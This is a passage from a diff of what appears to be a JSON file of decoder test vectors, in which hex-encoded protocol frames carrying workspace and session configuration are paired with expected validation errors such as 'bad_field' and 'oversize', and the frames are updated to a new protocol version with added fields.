1222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "oversize" }, { "name": "conversations-boot-ids-differ-across-items", "direction": "down", - "hex": "574d583101010000010000007e0b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000e70b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-extra-key-in-item", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d2c226578747261223a317d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d2c226578747261223a317d5d7d", "error": "bad_field" }, { "name": "conversations-uid-and-gid-as-strings", "direction": "down", - "hex": "574d583101010000010000003b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a223230303030222c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": 